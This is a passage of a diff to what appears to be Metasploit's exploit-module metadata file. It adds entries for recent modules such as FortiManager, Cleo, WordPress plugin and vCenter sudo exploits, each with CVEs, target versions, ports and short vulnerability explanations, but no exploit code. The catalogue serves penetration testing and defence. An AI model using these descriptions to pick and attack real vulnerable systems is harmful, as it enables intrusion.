"URL-https://www.qualys.com/2024/11/19/needrestart/needrestart.txt", + "CVE-2024-48990" + ], + "platform": "Linux", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2025-01-09 16:23:09 +0000", + "path": "/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb", + "is_install_path": true, + "ref_name": "linux/local/ubuntu_needrestart_lpe", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": true, + "actions": [ + + ] + }, "exploit_linux/local/udev_netlink": { "name": "Linux udev Netlink Local Privilege Escalation", "fullname": "exploit/linux/local/udev_netlink", @@ -90885,6 +92785,64 @@ ] }, + "exploit_linux/local/vcenter_sudo_lpe": { + "name": "vCenter Sudo Privilege Escalation", + "fullname": "exploit/linux/local/vcenter_sudo_lpe", + "aliases": [ + + ], + "rank": 500, + "disclosure_date": "2024-06-18", + "type": "exploit", + "author": [ + "h00die", + "Matei \"Mal\" Badanoiu" + ], + "description": "VMware vCenter Server < 7.0.3 update R and < 8.0.2 update D\n contains multiple local privilege escalation vulnerabilities\n due to misconfiguration of sudo. An authenticated local user\n with non-administrative privileges may exploit these issues\n to elevate privileges to root on vCenter Server Appliance.\n\n Tested against VMware vCenter Server Appliance 8.0.0.10000 20519528", + "references": [ + "URL-https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24453", + "URL-https://github.com/mbadanoiu/CVE-2024-37081/blob/main/VMware%20vCenter%20-%20CVE-2024-37081.pdf", + "CVE-2024-37081" + ], + "platform": "Linux", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2024-12-04 18:39:43 +0000", + "path": "/modules/exploits/linux/local/vcenter_sudo_lpe.rb", + "is_install_path": true, + "ref_name": "linux/local/vcenter_sudo_lpe", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": true, + "actions": [ + + ] + }, "exploit_linux/local/vmware_alsa_config": { "name": "VMware Workstation ALSA Config File Local Privilege Escalation", "fullname": "exploit/linux/local/vmware_alsa_config", @@ -91152,7 +93110,7 @@ "targets": [ "Auto" ], - "mod_time": "2023-02-02 18:17:02 +0000", + "mod_time": "2025-01-17 16:10:23 +0000", "path": "/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb", "is_install_path": true, "ref_name": "linux/local/vmwgfx_fd_priv_esc", @@ -91545,6 +93503,59 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/misc/asterisk_ami_originate_auth_rce": { + "name": "Asterisk AMI Originate Authenticated RCE", + "fullname": "exploit/linux/misc/asterisk_ami_originate_auth_rce", + "aliases": [ + + ], + "rank": 500, + "disclosure_date": "2024-08-08", + "type": "exploit", + "author": [ + "Brendan Coles ", + "h00die", + "NielsGaljaard" + ], + "description": "On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk\n versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change\n all configuration files in the '/etc/asterisk/' directory. Writing a new extension\n can be created which performs a system command to achieve RCE as the asterisk service\n user (typically asterisk).\n Default parking lot in FreePBX is called \"Default lot\" on the website interface,\n however its actually 'parkedcalls'.\n Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.", + "references": [ + "URL-https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44", + "CVE-2024-42365" + ], + "platform": "Unix", + "arch": "", + "rport": 5038, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Unix Command" + ], + "mod_time": "2024-11-28 20:24:25 +0000", + "path": "/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb", + "is_install_path": true, + "ref_name": "linux/misc/asterisk_ami_originate_auth_rce", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/misc/asus_infosvr_auth_bypass_exec": { "name": "ASUS infosvr Auth Bypass Command Execution", "fullname": "exploit/linux/misc/asus_infosvr_auth_bypass_exec", @@ -91841,6 +93852,58 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/misc/fortimanager_rce_cve_2024_47575": { + "name": "Fortinet FortiManager Unauthenticated RCE", + "fullname": "exploit/linux/misc/fortimanager_rce_cve_2024_47575", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-10-23", + "type": "exploit", + "author": [ + "sfewer-r7" + ], + "description": "This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager\n Cloud devices to achieve unauthenticated RCE with root privileges.\n\n The vulnerable FortiManager versions are:\n * 7.6.0\n * 7.4.0 through 7.4.4\n * 7.2.0 through 7.2.7\n * 7.0.0 through 7.0.12\n * 6.4.0 through 6.4.14\n * 6.2.0 through 6.2.12\n\n The vulnerable FortiManager Cloud versions are:\n * 7.4.1 through 7.4.4\n * 7.2.1 through 7.2.7\n * 7.0.1 through 7.0.12\n * 6.4 (all versions).", + "references": [ + "CVE-2024-47575", + "URL-https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis", + "URL-https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575", + "URL-https://fortiguard.fortinet.com/psirt/FG-IR-24-423" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 541, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Default" + ], + "mod_time": "2024-12-02 18:16:43 +0000", + "path": "/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb", + "is_install_path": true, + "ref_name": "linux/misc/fortimanager_rce_cve_2024_47575", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/misc/gld_postfix": { "name": "GLD (Greylisting Daemon) Postfix Buffer Overflow", "fullname": "exploit/linux/misc/gld_postfix", @@ -94412,7 +96475,7 @@ "targets": [ "Universal" ], - "mod_time": "2022-04-18 17:49:04 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb", "is_install_path": true, "ref_name": "linux/ssh/ceragon_fibeair_known_privkey", @@ -94464,7 +96527,7 @@ "targets": [ "Cisco UCS Director < 6.7.2.0" ], - "mod_time": "2022-04-18 17:57:01 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb", "is_install_path": true, "ref_name": "linux/ssh/cisco_ucs_scpuser", @@ -94515,7 +96578,7 @@ "targets": [ "Universal" ], - "mod_time": "2022-04-18 19:12:50 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/exagrid_known_privkey.rb", "is_install_path": true, "ref_name": "linux/ssh/exagrid_known_privkey", @@ -94567,7 +96630,7 @@ "targets": [ "Universal" ], - "mod_time": "2022-04-18 19:25:38 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb", "is_install_path": true, "ref_name": "linux/ssh/f5_bigip_known_privkey", @@ -94619,7 +96682,7 @@ "targets": [ "IBM Data Risk Manager <= 2.0.6.1" ], - "mod_time": "2022-04-18 19:34:49 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/ibm_drm_a3user.rb", "is_install_path": true, "ref_name": "linux/ssh/ibm_drm_a3user", @@ -94668,7 +96731,7 @@ "targets": [ "Universal" ], - "mod_time": "2022-04-18 19:43:16 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb", "is_install_path": true, "ref_name": "linux/ssh/loadbalancerorg_enterprise_known_privkey", @@ -94770,7 +96833,7 @@ "targets": [ "Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40" ], - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb", "is_install_path": true, "ref_name": "linux/ssh/microfocus_obr_shrboadmin", @@ -94819,7 +96882,7 @@ "targets": [ "Universal" ], - "mod_time": "2022-04-18 20:14:57 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb", "is_install_path": true, "ref_name": "linux/ssh/quantum_dxi_known_privkey", @@ -94868,7 +96931,7 @@ "targets": [ "Quantum vmPRO 3.1.2" ], - "mod_time": "2022-04-18 20:17:44 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb", "is_install_path": true, "ref_name": "linux/ssh/quantum_vmpro_backdoor", @@ -94972,7 +97035,7 @@ "targets": [ "Symantec Messaging Gateway 9.5" ], - "mod_time": "2023-01-31 23:59:22 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/symantec_smg_ssh.rb", "is_install_path": true, "ref_name": "linux/ssh/symantec_smg_ssh", @@ -95022,7 +97085,7 @@ "targets": [ "Universal" ], - "mod_time": "2023-01-31 23:59:22 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb", "is_install_path": true, "ref_name": "linux/ssh/vmware_vdp_known_privkey", @@ -95099,7 +97162,7 @@ "6.10_platform", "All" ], - "mod_time": "2023-10-23 06:54:38 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/ssh/vmware_vrni_known_privkey.rb", "is_install_path": true, "ref_name": "linux/ssh/vmware_vrni_known_privkey", @@ -99069,6 +101132,69 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405": { + "name": "Acronis Cyber Protect/Backup remote code execution", + "fullname": "exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405", + "aliases": [ + "exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405" + ], + "rank": 600, + "disclosure_date": "2022-11-08", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "Sandro Tolksdorf of usd AG." + ], + "description": "Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,\n compute, storage and application resources. Businesses and Service Providers are using it\n to protect and backup all IT assets in their IT environment.\n The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous\n registration of new protect/backup agents on new endpoints. This API endpoint also\n generates bearer tokens which the agent then uses to authenticate to the appliance.\n As the management web console is running on the same port as the API for the agents, this\n bearer token is also valid for any actions on the web console. This allows an attacker\n with network access to the appliance to start the registration of a new agent, retrieve a\n bearer token that provides admin access to the available functions in the web console.\n\n The web console contains multiple possibilities to execute arbitrary commands on both the\n agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation\n job on the agent of the appliance). These options can easily be set with the provided bearer\n token, which leads to a complete compromise of all agents and the appliance itself.\n\n You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`\n to collect target info for exploitation in this module. Or just run this module standalone and\n it will try to exploit the first online endpoint matching your target and payload settings\n configured at the module.\n\n Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and\n Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.", + "references": [ + "CVE-2022-3405", + "URL-https://herolab.usd.de/security-advisories/usd-2022-0008/", + "URL-https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405" + ], + "platform": "Linux,Unix,Windows", + "arch": "cmd", + "rport": 9877, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix/Linux Command", + "Windows Command" + ], + "mod_time": "2025-01-09 16:32:42 +0000", + "path": "/modules/exploits/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb", + "is_install_path": true, + "ref_name": "multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/http/activecollab_chat": { "name": "Active Collab \"chat module\" Remote PHP Code Injection Exploit", "fullname": "exploit/multi/http/activecollab_chat", @@ -101524,6 +103650,133 @@ "session_types": false, "needs_cleanup": true }, + "exploit_multi/http/cleo_rce_cve_2024_55956": { + "name": "Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution", + "fullname": "exploit/multi/http/cleo_rce_cve_2024_55956", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-12-09", + "type": "exploit", + "author": [ + "sfewer-r7", + "remmons-r7" + ], + "description": "This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony\n versions 5.8.0.23 and below.", + "references": [ + "CVE-2024-55956", + "URL-https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956", + "URL-https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis", + "URL-https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/", + "URL-https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild" + ], + "platform": "Java,Linux,Unix,Windows", + "arch": "java, cmd", + "rport": 5080, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Java", + "Windows Command", + "Linux Command" + ], + "mod_time": "2025-01-09 11:43:58 +0000", + "path": "/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb", + "is_install_path": true, + "ref_name": "multi/http/cleo_rce_cve_2024_55956", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": true + }, + "exploit_multi/http/clinic_pms_fileupload_rce": { + "name": "Clinic's Patient Management System 1.0 - Unauthenticated RCE", + "fullname": "exploit/multi/http/clinic_pms_fileupload_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-10-31", + "type": "exploit", + "author": [ + "Aaryan Golatkar", + "Oğulcan Hami Gül" + ], + "description": "This module exploits an unauthenticated file upload vulnerability in Clinic's\n Patient Management System 1.0. An attacker can upload a PHP web shell and execute\n it by leveraging directory listing enabled on the `/pms/user_images` directory.", + "references": [ + "EDB-51779", + "CVE-2022-40471", + "URL-https://www.cve.org/CVERecord?id=CVE-2022-40471", + "URL-https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view" + ], + "platform": "PHP", + "arch": "php", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Clinic Patient Management System 1.0" + ], + "mod_time": "2024-12-17 21:39:30 +0000", + "path": "/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/clinic_pms_fileupload_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_multi/http/clipbucket_fileupload_exec": { "name": "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload", "fullname": "exploit/multi/http/clipbucket_fileupload_exec", @@ -107722,7 +109975,7 @@ "description": "Nibbleblog contains a flaw that allows an authenticated remote\n attacker to execute arbitrary PHP code. This module was\n tested on version 4.0.3.", "references": [ "CVE-2015-6967", - "URL-http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html" + "URL-https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html" ], "platform": "PHP", "arch": "php", @@ -107745,7 +109998,7 @@ "targets": [ "Nibbleblog 4.0.3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-01-26 19:20:12 +0000", "path": "/modules/exploits/multi/http/nibbleblog_file_upload.rb", "is_install_path": true, "ref_name": "multi/http/nibbleblog_file_upload", @@ -110345,6 +112598,71 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/http/primefaces_weak_encryption_rce": { + "name": "Primefaces Remote Code Execution Exploit", + "fullname": "exploit/multi/http/primefaces_weak_encryption_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2016-02-15", + "type": "exploit", + "author": [ + "Bjoern Schuette", + "h00die" + ], + "description": "This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.\n Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,\n due to the use of weak crypto and default encryption password and salt.\n\n Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See\n documentation for working payloads.", + "references": [ + "CVE-2017-1000486", + "URL-https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html", + "URL-https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces", + "URL-https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/", + "URL-https://github.com/primefaces/primefaces/issues/1152", + "URL-https://github.com/pimps/CVE-2017-1000486/tree/master", + "EDB-43733" + ], + "platform": "BSD,Linux,OSX,Unix,Windows", + "arch": "cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Universal" + ], + "mod_time": "2024-12-06 16:00:58 +0000", + "path": "/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/primefaces_weak_encryption_rce", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/http/processmaker_exec": { "name": "ProcessMaker Open Source Authenticated PHP Code Execution", "fullname": "exploit/multi/http/processmaker_exec", @@ -115108,20 +117426,25 @@ "needs_cleanup": true }, "exploit_multi/http/werkzeug_debug_rce": { - "name": "Werkzeug Debug Shell Command Execution", + "name": "Pallete Projects Werkzeug Debugger Remote Code Execution", "fullname": "exploit/multi/http/werkzeug_debug_rce", "aliases": [ ], - "rank": 600, + "rank": 400, "disclosure_date": "2015-06-28", "type": "exploit", "author": [ - "h00die " + "h00die ", + "Graeme Robinson /@GraSec>" ], - "description": "This module will exploit the Werkzeug debug console to put down a\n Python shell. This debugger \"must never be used on production\n machines\" but sometimes slips passed testing.\n\n Tested against:\n 0.9.6 on Debian\n 0.9.6 on Centos\n 0.10 on Debian", + "description": "This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone.\n\n The documentation states the following: \"The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production.\" Of course this doesn't prevent developers from mistakenly enabling it in production!\n\n Tested against the following Werkzeug versions:\n - 3.0.3 on Debian 12, Windows 11 and macOS 14.6\n - 1.1.4 on Debian 12\n - 1.0.1 on Debian 12\n - 0.11.5 on Debian 12\n - 0.10 on Debian 12", "references": [ - "URL-http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger" + "URL-https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger", + "URL-https://flask.palletsprojects.com/debugging/#the-built-in-debugger", + "URL-https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger", + "URL-https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger", + "URL-https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a" ], "platform": "Python", "arch": "python", @@ -115142,9 +117465,12 @@ "https" ], "targets": [ - "werkzeug 0.10 and older" + "Werkzeug > 1.0.1 (Flask > 1.1.4)", + "Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)", + "Werkzeug 0.11 - 0.11.5 (Flask < 1.0)", + "Werkzeug < 0.11 (Flask < 1.0)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2024-12-08 21:01:17 +0000", "path": "/modules/exploits/multi/http/werkzeug_debug_rce.rb", "is_install_path": true, "ref_name": "multi/http/werkzeug_debug_rce", @@ -115152,6 +117478,16 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "account-lockouts" + ] }, "session_types": false, "needs_cleanup": null @@ -116188,7 +118524,7 @@ "Windows Command", "Windows Dropper" ], - "mod_time": "2023-07-06 10:09:51 +0000", + "mod_time": "2024-12-29 17:25:12 +0000", "path": "/modules/exploits/multi/http/wp_plugin_fma_shortcode_unauth_rce.rb", "is_install_path": true, "ref_name": "multi/http/wp_plugin_fma_shortcode_unauth_rce", @@ -116401,6 +118737,70 @@ "session_types": false, "needs_cleanup": true }, + "exploit_multi/http/wp_reallysimplessl_2fa_bypass_rce": { + "name": "WordPress Really Simple SSL Plugin Authentication Bypass to RCE", + "fullname": "exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-11-14", + "type": "exploit", + "author": [ + "Valentin Lobstein", + "István Márton" + ], + "description": "This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin\n (versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and\n uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,\n 2FA must be enabled on the target site; otherwise, the exploit will not work.", + "references": [ + "CVE-2024-10924", + "URL-https://github.com/RandomRobbieBF/CVE-2024-10924", + "URL-https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass" + ], + "platform": "Linux,PHP,Unix,Windows", + "arch": "php, cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP In-Memory", + "Unix In-Memory", + "Windows In-Memory" + ], + "mod_time": "2024-12-29 17:25:12 +0000", + "path": "/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/wp_reallysimplessl_2fa_bypass_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_multi/http/wp_responsive_thumbnail_slider_upload": { "name": "WordPress Responsive Thumbnail Slider Arbitrary File Upload", "fullname": "exploit/multi/http/wp_responsive_thumbnail_slider_upload", @@ -116575,6 +118975,136 @@ "session_types": false, "needs_cleanup": true }, + "exploit_multi/http/wp_time_capsule_file_upload_rce": { + "name": "WordPress WP Time Capsule Arbitrary File Upload to RCE", + "fullname": "exploit/multi/http/wp_time_capsule_file_upload_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-11-15", + "type": "exploit", + "author": [ + "Valentin Lobstein", + "Rein Daelman" + ], + "description": "This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin\n (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote\n code execution (RCE).\n\n The validation logic in the vulnerable function improperly checks for allowed extensions.\n If no valid extension is found, the check can be bypassed by using a filename of specific length\n (e.g., \"00.php\") matching the length of allowed extensions like \".crypt\".", + "references": [ + "CVE-2024-8856", + "URL-https://hacked.be/posts/CVE-2024-8856", + "URL-https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload" + ], + "platform": "Linux,PHP,Unix,Windows", + "arch": "php, cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP In-Memory", + "Unix/Linux Command Shell", + "Windows Command Shell" + ], + "mod_time": "2024-12-12 18:04:10 +0000", + "path": "/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/wp_time_capsule_file_upload_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": true + }, + "exploit_multi/http/wso2_api_manager_file_upload_rce": { + "name": "WSO2 API Manager Documentation File Upload Remote Code Execution", + "fullname": "exploit/multi/http/wso2_api_manager_file_upload_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-05-31", + "type": "exploit", + "author": [ + "Siebene@ <@Siebene7>", + "Heyder Andrade <@HeyderAndrade>", + "Redway Security " + ], + "description": "A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions\n (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled\n server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.", + "references": [ + "URL-https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988", + "URL-https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html", + "URL-https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/" + ], + "platform": "Linux,Windows", + "arch": "java", + "rport": 9443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic", + "WSO2 API Manager (3.1.0 - 4.0.0)", + "WSO2 API Manager (4.1.0)", + "WSO2 API Manager (4.2.0)" + ], + "mod_time": "2024-12-11 11:58:53 +0000", + "path": "/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/wso2_api_manager_file_upload_rce", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_multi/http/wso2_file_upload_rce": { "name": "WSO2 Arbitrary File Upload to RCE", "fullname": "exploit/multi/http/wso2_file_upload_rce", @@ -117267,6 +119797,70 @@ ] }, + "exploit_multi/local/obsidian_plugin_persistence": { + "name": "Obsidian Plugin Persistence", + "fullname": "exploit/multi/local/obsidian_plugin_persistence", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-09-16", + "type": "exploit", + "author": [ + "h00die", + "Thomas Byrne" + ], + "description": "This module searches for Obsidian vaults for a user, and uploads a malicious\n community plugin to the vault. The vaults must be opened with community\n plugins enabled (NOT restricted mode), but the plugin will be enabled\n automatically.\n\n Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.", + "references": [ + "URL-https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin", + "URL-https://github.com/obsidianmd/obsidian-sample-plugin/tree/master", + "URL-https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491", + "URL-https://help.obsidian.md/Extending+Obsidian/Plugin+security", + "URL-https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/" + ], + "platform": "Linux,OSX,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto", + "Linux", + "OSX", + "Windows" + ], + "mod_time": "2024-12-14 17:38:29 +0000", + "path": "/modules/exploits/multi/local/obsidian_plugin_persistence.rb", + "is_install_path": true, + "ref_name": "multi/local/obsidian_plugin_persistence", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Reliability": [ + "repeatable-session" + ], + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "config-changes" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": null, + "actions": [ + + ] + }, 